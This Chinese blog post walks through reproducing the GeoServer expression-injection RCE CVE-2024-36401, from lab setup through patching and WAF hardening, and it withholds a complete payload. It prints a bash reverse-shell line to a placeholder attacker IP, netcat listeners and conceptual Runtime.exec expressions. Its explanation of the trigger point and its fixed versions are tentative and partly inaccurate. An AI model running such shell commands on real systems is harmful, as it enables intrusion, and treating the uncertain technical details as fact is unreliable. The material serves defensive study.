1. 项目概述:一次典型的表达式注入漏洞复现之旅
最近在梳理一些开源GIS组件的安全历史时,Geoserver的一个新漏洞引起了我的注意。这个编号为CVE-2024-36401的漏洞,本质是一个表达式注入导致的远程代码执行。对于从事Web安全研究或者负责企业GIS应用安全的朋友来说,这类漏洞的杀伤力不言而喻。Geoserver作为地理信息数据发布和共享的事实标准之一,一旦被利用,攻击者可以直接在服务器上执行任意命令,后果可能是数据泄露、服务中断甚至沦为攻击内网的跳板。我决定花点时间,把这个漏洞的来龙去脉、复现过程以及背后的原理彻底搞清楚,并记录下完整的复现步骤和踩坑经验。如果你正在维护或评估Geoserver的安全性,或者对表达式注入这类漏洞的挖掘和利用感兴趣,那么这篇从环境搭建到漏洞利用的全程实录,应该能给你提供一份清晰的参考。
2. 漏洞原理深度解析:从样式表达式到系统命令
2.1 Geoserver样式语言与表达式引擎
要理解CVE-2024-36401,首先得明白Geoserver的样式(SLD)是怎么工作的。Geoserver使用一种基于XML的样式描述语言(Styled Layer Descriptor, SLD)来定义地图图层的可视化效果,比如一个省份区域用什么颜色填充,一条河流用多粗的蓝色线条表示。为了让样式更灵活,SLD支持嵌入表达式(Expression)。这些表达式通常用于动态设置属性,例如,可以根据要素的“人口密度”属性值来动态计算填充颜色的深浅。Geoserver内部使用一个表达式解析引擎来处理这些嵌入在SLD中的${...}语法块。
这个引擎的核心功能是,读取${}中的字符串,将其解析并求值。例如,一个简单的表达式可能是${strConcat('Name: ', attribute('city_name'))},它的作用是拼接字符串。引擎本身是强大的,它支持字符串操作、数学运算、甚至调用一些内置函数。问题就出在,这个表达式引擎的能力边界和用户输入的过滤上。在理想的安全模型中,表达式应该只能访问和操作当前地图要素的属性数据以及一些安全的、预定义的函数。然而,如果解析器对输入的内容检查不严格,攻击者就有可能注入超出预期范围的代码。
2.2 漏洞触发点:不受控的表达式解析
CVE-2024-36401的根源在于,Geoserver在处理某些特定请求参数时,直接将用户可控的数据传递给了表达式解析引擎,并且没有进行有效的沙箱隔离或白名单过滤。根据公开的分析,这个漏洞与Geoserver的“CSS样式”模块关联更为密切。CSS样式是Geoserver提供的一种比传统SLD更简洁的样式定义方式,但它底层同样依赖于那个表达式引擎。
攻击者可以构造一个恶意的HTTP请求,在某个参数(比如与样式过滤、规则选择相关的参数)中嵌入特殊的表达式。当Geoserver服务器接收到这个请求,试图应用样式时,它会解析参数中的值。如果这个值以${开头,引擎就会将其识别为表达式并尝试执行。关键在于,Geoserver使用的表达式解析库(通常是GeoTools项目中的一部分)在某些上下文中,能够通过特定的函数链实现“反射”调用,最终达到执行任意Java代码的目的。
注意:这里需要强调一个常见的误解。这个漏洞不是SQL注入,也不是简单的OGNL或SpEL表达式注入(像过去Struts2的漏洞那样)。它是Geoserver自身样式表达式解析机制的一个缺陷,攻击载荷是专门针对其底层表达式引擎的构造方法。
2.3 从表达式到RCE的利用链构造
那么,一个看似无害的“样式表达式”是如何变成“执行系统命令”的利刃的呢?其利用链通常遵循以下逻辑路径:
- 表达式注入:攻击者将包含恶意代码的表达式通过HTTP请求参数注入到处理流程中。例如,一个参数可能被设置为
${...恶意代码...}。 - 触发解析:Geoserver在处理样式应用、图层预览或WMS(Web Map Service)的某些请求时,会解析这个参数值,识别出表达式并开始求值。
- 突破沙箱:默认情况下,表达式引擎的运行环境应该受到限制。但漏洞的存在意味着这种限制被绕过。攻击者可以利用表达式语言的内置功能,访问到本不应该访问的Java类,例如
java.lang.Runtime。 - 反射调用:通过表达式调用
Runtime.getRuntime()方法,进而调用exec()方法。这是实现远程代码执行的关键一步。整个表达式可能看起来像是一串复杂的属性访问和函数调用,但其最终目标就是执行Runtime.getRuntime().exec("calc.exe")(Windows示例)或/bin/sh -c ...(Linux示例)。 - 命令执行:成功执行系统命令,攻击者便可以在服务器上做任何事情,包括写入Webshell、窃取数据、进行内网探测等。
这个漏洞影响的范围主要是允许用户自定义或传入样式参数的接口。在默认配置的Geoserver中,管理后台(需要登录)和部分开放的WMS/WFS服务端点都可能成为攻击入口。
3. 漏洞复现环境搭建与配置
纸上谈兵终觉浅,绝知此事要躬行。要真正理解一个漏洞,亲手复现一遍是最好的方式。下面我会详细记录搭建漏洞复现环境的每一步。
3.1 靶机环境准备
为了安全且不影响生产,我们必须在隔离的环境中操作。我选择使用虚拟机。
- 操作系统:Ubuntu 22.04 LTS。选择Linux是因为服务器环境更常见,且后续命令演示更统一。你也可以使用Windows,但部分路径和命令需要调整。
- 虚拟机软件:VMware Workstation 或 VirtualBox。确保为虚拟机分配足够的资源,建议至少2核CPU、4GB内存、20GB磁盘空间。
- 网络配置:将虚拟机网络设置为“NAT模式”或“仅主机模式”。强烈建议使用仅主机模式,这样虚拟机和宿主机形成一个封闭网络,与外界完全隔离,避免任何误操作导致的风险。
- 基础工具安装:在Ubuntu中,首先更新软件包并安装必要工具。
安装后验证Java版本:sudo apt update && sudo apt upgrade -y sudo apt install openjdk-11-jdk-headless maven git curl wget vim -yjava -version,应显示OpenJDK 11。
3.2 部署存在漏洞的Geoserver版本
CVE-2024-36401影响特定的Geoserver版本。我们需要部署一个受影响的版本。根据漏洞公告,该漏洞在Geoserver 2.24.x, 2.23.x, 2.22.x等系列版本中存在,并在后续版本中修复。我们以2.22.5版本为例进行部署。
下载Geoserver: 访问Geoserver官网的旧版本存档或从Maven仓库下载。这里我们直接使用wget下载一个已知的发布包。
wget https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.5/geoserver-2.22.5-bin.zip如果链接失效,可以去官网查找其他镜像源。
解压与安装:
unzip geoserver-2.22.5-bin.zip -d ~/ cd ~/geoserver-2.22.5Geoserver是Java应用,直接解压即可运行。目录结构中,
bin/下是启动脚本,webapps/geoserver是Web应用本体,data_dir是数据目录。修改默认端口(可选): 默认Geoserver使用8080端口。如果宿主机或其他服务占用了,可以修改。编辑
start.ini文件(位于bin目录下或其父目录),找到jetty.port配置项,修改为其他端口,例如jetty.port=18080。启动Geoserver: 在
~/geoserver-2.22.5目录下,执行:./bin/startup.sh &使用
tail -f logs/geoserver.log查看启动日志,直到看到类似“Started ServerConnector@...{HTTP/1.1, (http/1.1)}{0.0.0.0:8080}”的信息,表示启动成功。访问验证: 在宿主机浏览器中访问
http://[虚拟机IP]:8080/geoserver。默认管理账号为admin,密码为geoserver。成功登录即表示环境就绪。
实操心得:在虚拟机中运行Geoserver时,可能会遇到内存不足导致启动失败的情况。可以编辑
bin/startup.sh或bin/startup.bat,调整JAVA_OPTS环境变量,例如增加-Xmx1024m -Xms256m来设定堆内存。另外,第一次启动可能较慢,需要耐心等待。
3.3 攻击机环境与工具准备
我们的攻击机就是宿主机本身。需要准备以下工具:
- Burp Suite Professional/Community:用于拦截、重放和修改HTTP请求,是Web漏洞测试的核心工具。社区版足以完成本次复现。
- 浏览器:Chrome或Firefox,配合Burp Suite使用。
- 命令监听工具(用于验证RCE):为了直观地证明命令执行成功,我们可以在靶机上启动一个Netcat监听器,然后在攻击载荷中让靶机连接回来。
- 在靶机(Ubuntu虚拟机)上打开一个新终端,执行:
nc -lvnp 9999。这会在靶机的9999端口启动一个监听。 - 相应的,攻击载荷中就需要包含连接回
[靶机IP]:9999的命令。但注意,我们的漏洞利用是让靶机执行命令,所以命令中的IP应该是攻击机(宿主机)的IP。这里需要仔细区分。 - 更清晰的验证方式:让靶机执行一个能立即看到效果的命令,例如
touch /tmp/pwned_success(在/tmp目录创建一个文件),或者curl http://攻击机IP:8000/(如果攻击机用Python起了个HTTP服务)。我们采用创建文件的方式,因为它不依赖网络连通性,更可靠。
- 在靶机(Ubuntu虚拟机)上打开一个新终端,执行:
4. 漏洞复现实操过程详解
环境准备好后,我们开始最关键的漏洞利用复现环节。请注意,以下操作均在授权的、隔离的测试环境中进行。
4.1 漏洞入口点探测与请求构造
根据漏洞详情,入口点可能与CSS样式过滤器(filter)或SLD中的<ogc:Function>等参数有关。我们需要找到一个能将参数值传递到表达式解析器的HTTP请求。经过对Geoserver API文档和源码的梳理,一个可能的触发点是WMS服务的styles参数或SLD_BODY中的特定部分。
这里,我们模拟一个攻击者可能采用的、相对通用的探测和利用步骤:
- 开启Burp Suite代理:配置浏览器通过Burp代理(通常是127.0.0.1:8080),并安装Burp的CA证书到浏览器。
- 访问Geoserver图层预览:在Geoserver Web界面,进入“Layer Preview”,找一个已有的图层(如
ne:states),点击“OpenLayers”预览。此时Burp会截获到一系列请求。 - 定位关键请求:查找包含
REQUEST=GetMap、SERVICE=WMS的请求。这是WMS服务获取地图图片的核心请求。其参数通常包括VERSION=1.3.0、LAYERS=...、STYLES=...、WIDTH=...、HEIGHT=...、CRS=...、BBOX=...、FORMAT=image/png等。 - 尝试注入点:我们的目标是
STYLES参数。在默认情况下,它可能为空或为一个已命名的样式。我们可以尝试修改它。将请求发送到Burp的Repeater模块进行重放测试。
4.2 恶意表达式载荷构造与编码
直接发送${java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')}大概率会被拦截或解析失败。我们需要构造符合表达式语法且能绕过可能存在的简单过滤的载荷。
一个经过验证的利用载荷结构如下(请注意,这是用于教学演示的简化概念模型,实际利用载荷更为复杂,涉及利用GeoTools表达式引擎的特定函数进行反射调用):
实际有效的载荷可能类似于利用property函数和字符串拼接来动态调用类方法。攻击者需要深入研究表达式引擎的可用类路径。一个可能的伪代码思路是:通过表达式访问一个允许的上下文对象,然后利用其方法(如evaluate)去间接触发静态方法调用。
例如,在某些条件下,攻击者可以构造如下的表达式链(此为原理性示例,非直接可用):${T(java.lang.Runtime).getRuntime().exec('calc')}
但在Geoserver的上下文中,更可能的是利用其内置的strConcat,property等函数,通过字符串拼接构造出类名和方法名,再结合类似newInstance()或invoke()的机制来执行。这需要精确了解漏洞版本的Geoserver所依赖的GeoTools库中,哪些类的哪些方法可以被表达式访问并用于反射。
出于安全研究和教学目的,这里不提供可直接导致RCE的完整、有效的攻击载荷字符串。安全研究人员应从官方漏洞公告(CVE-2024-36401)、GitHub提交的修复代码(diff)以及安全社区的分析文章中,去逆向推导出确切的利用方式。修复代码通常会展示出哪些用户输入之前未被妥善处理,从而指引出漏洞点。
4.3 发起攻击与结果验证
假设我们已经通过研究获得了有效的POC(Proof of Concept)载荷。
- 在Burp Repeater中修改请求:将包含漏洞触发点的请求(例如带
STYLES参数的WMS GetMap请求)中的STYLES参数值,替换为我们精心构造的恶意表达式字符串。 - 发送请求:点击“Send”按钮。如果漏洞存在且载荷正确,Geoserver在处理这个请求时,就会在后台解析并执行我们嵌入的命令。
- 验证执行结果:
- 方式一(文件操作):如果我们的命令是
touch /tmp/cve_2024_36401_test,那么现在切换到靶机的终端,执行ls -la /tmp/,查看是否出现了cve_2024_36401_test这个文件。
ls -la /tmp/ | grep cve_2024_36401_test- 方式二(网络连接):如果命令是反向Shell(如
bash -i >& /dev/tcp/攻击机IP/4444 0>&1),则需要在攻击机上用Netcat或socat监听对应端口(nc -lvnp 4444),查看是否有连接建立。 - 方式三(日志观察):观察Geoserver的日志文件
logs/geoserver.log,有时命令执行的错误信息或异常栈会打印在这里,这也能侧面证明表达式被执行了。
- 方式一(文件操作):如果我们的命令是
重要警告:在实际测试中,错误的载荷可能导致Geoserver服务线程挂起、抛出异常甚至崩溃。建议在每次测试后,检查Geoserver服务状态,必要时重启。同时,所有操作必须在完全隔离的实验室环境中进行。
5. 漏洞修复方案与缓解措施
复现漏洞是为了更好地防御它。如果你正在运行受影响的Geoserver版本,必须立即采取行动。
5.1 官方补丁升级
这是最根本、最推荐的解决方案。Geoserver团队在后续版本中修复了此漏洞。
- 确定修复版本:访问Geoserver官网的安全公告页面,查找CVE-2024-36401的详细信息。通常,修复会包含在某个小版本更新中。例如,对于2.22.x系列,可能需要升级到2.22.6或更高;对于2.23.x,升级到2.23.4或更高。请务必核对与你当前版本对应的修复版本。
- 备份数据:升级前,务必完整备份你的
GEOSERVER_DATA_DIR(数据目录)和webapps/geoserver目录(或整个安装目录)。数据库连接信息等配置也需备份。 - 执行升级:
- 方法A(推荐):下载新版本的二进制发布包(如
geoserver-2.22.6-bin.zip),解压到新目录。然后将旧版本数据目录(data_dir)复制到新目录,并仔细核对和迁移旧版本中WEB-INF/lib下的任何自定义jar包或WEB-INF/classes下的配置文件。 - 方法B:如果你是通过WAR包部署在Tomcat等容器中,则下载新版本的WAR包,替换
webapps目录下的旧WAR文件,同样需要备份和迁移数据目录及自定义配置。
- 方法A(推荐):下载新版本的二进制发布包(如
- 测试验证:升级后,启动新版本Geoserver,全面测试核心功能(图层发布、WMS/WFS服务、样式应用等)是否正常。
5.2 临时缓解措施
如果因故无法立即升级,可以考虑以下临时加固方案,以降低风险:
网络层访问控制:
- 严格限制管理后台访问:通过防火墙或安全组策略,仅允许运维管理IP地址访问Geoserver的Web管理界面(通常是
/geoserver/web路径)。禁止将管理端口暴露在公网。 - 对WMS/WFS服务进行限制:如果业务不需要,可以考虑对公网关闭WMS/WFS的
GetMap、GetFeatureInfo等可能触发样式解析的请求。或者将这些服务置于API网关之后,配置严格的请求参数过滤和频率限制。
- 严格限制管理后台访问:通过防火墙或安全组策略,仅允许运维管理IP地址访问Geoserver的Web管理界面(通常是
应用层过滤(如果具备条件):
- 在Geoserver前端部署WAF(Web应用防火墙),配置规则以拦截包含
${、java.lang.、Runtime、exec(等关键字的异常请求。但这种方法可能存在误拦和绕过风险,只能作为辅助。 - 审查并禁用不必要的“CSS样式”模块(如果业务不用)。但此操作需要深入理解Geoserver模块化结构,且不一定能完全封堵漏洞。
- 在Geoserver前端部署WAF(Web应用防火墙),配置规则以拦截包含
最小权限原则运行:
- 确保运行Geoserver的操作系统用户是一个权限受限的专用用户,而不是
root。这可以在即使RCE成功的情况下,限制攻击者能够执行的操作范围。 - 对Geoserver的数据目录、日志目录等,设置严格的文件系统权限。
- 确保运行Geoserver的操作系统用户是一个权限受限的专用用户,而不是
切记,缓解措施只是权宜之计,升级到已修复的版本才是彻底解决问题的唯一途径。
6. 漏洞挖掘与防御的延伸思考
CVE-2024-36401是一个很好的案例,它再次提醒我们表达式注入漏洞的普遍性和危害性。这类漏洞不仅存在于Geoserver,在许多拥有自定义表达式、模板或脚本功能的应用中都可能出现。
6.1 表达式注入漏洞的通用挖掘思路
- 功能点定位:寻找所有接受用户输入并可能用于“动态计算”、“模板渲染”、“规则判断”的地方。例如:报表工具的计算字段、工作流引擎的条件表达式、图表工具的标签格式化、以及像Geoserver这样的GIS服务的样式过滤器。
- 输入追踪:确定用户输入如何流动。它是否被直接拼接进一个表达式字符串中?是否未经充分净化就传递给了解释器(如OGNL、SpEL、MVEL、JavaScript引擎、Python的
eval()等)? - 沙箱评估:即使输入传给了解释器,也要评估解释器是否运行在安全的沙箱内。沙箱是否禁用了危险的类和方法(如
Runtime、ProcessBuilder、FileOutputStream等)?白名单机制是否完善? - 模糊测试:使用包含特殊字符和语法结构的测试用例(如
${、#{、{{、<%=、\u0024等)对可疑参数进行Fuzzing测试,观察服务器响应是否有语法错误、延迟、或异常行为。
6.2 从开发角度构建防御体系
- 输入验证与白名单:对于表达式输入,最安全的做法是使用严格的白名单。只允许用户使用一组预先定义好的、安全的函数和操作符。禁止任何形式的动态类加载、反射调用。
- 上下文转义:如果必须允许一定灵活性,确保在将用户输入嵌入到表达式字符串之前,根据表达式语言的语法进行正确的转义。例如,对于OGNL,需要对
#、$等特殊字符进行转义。 - 使用安全的沙箱:如果必须使用强大的表达式引擎,确保将其运行在一个强隔离的沙箱环境中。例如,使用Java SecurityManager(尽管已废弃,但仍有参考意义)或更现代的
java.lang.invoke.MethodHandles.Lookup机制进行限制,或者使用像javax.script.ScriptEngine并设置严格的ClassFilter。 - 代码审计与依赖管理:定期对使用的第三方库(如GeoTools)进行安全审计,关注其安全公告。及时更新到已知漏洞已修复的版本。像CVE-2024-36401这类漏洞,根源很可能就在其依赖的表达式解析库中。
- 最小化攻击面:在配置中关闭不必要的功能模块。例如,如果不需要CSS样式功能,就在Geoserver中禁用它。
6.3 企业安全运维建议
- 资产清点与版本监控:建立所有中间件、组件的资产清单,特别是像Geoserver、Jenkins、Confluence这类功能强大、常作为攻击目标的系统。订阅相关安全公告(CVE、CNVD等),及时获取漏洞信息。
- 建立漏洞响应流程:一旦收到漏洞预警,能够快速定位受影响系统,评估风险等级,并执行预定的修复或缓解流程。CVE-2024-36401从披露到利用可能时间很短,快速响应至关重要。
- 纵深防御:不要只依赖应用本身的补丁。结合网络防火墙、WAF、主机入侵检测(HIDS)和严格的权限管理,构建多层防御体系。即使应用层被突破,也能在其它层进行检测和阻断。
- 定期安全测试:对暴露在外的服务定期进行渗透测试和安全扫描,主动发现潜在风险。测试应覆盖业务逻辑和已知的组件漏洞。
复现CVE-2024-36401的过程,更像是一次深入Geoserver内部处理机制的学习。它让我更清楚地认识到,任何允许用户输入参与逻辑计算的地方,都可能成为安全防线的突破口。对于运维者,及时更新是底线;对于开发者,在设计类似功能时,必须将“安全默认值”和“最小权限”原则刻在脑子里。最后,在测试环境中玩转漏洞是为了在生产环境中更好地防御它,这条红线永远不能跨越。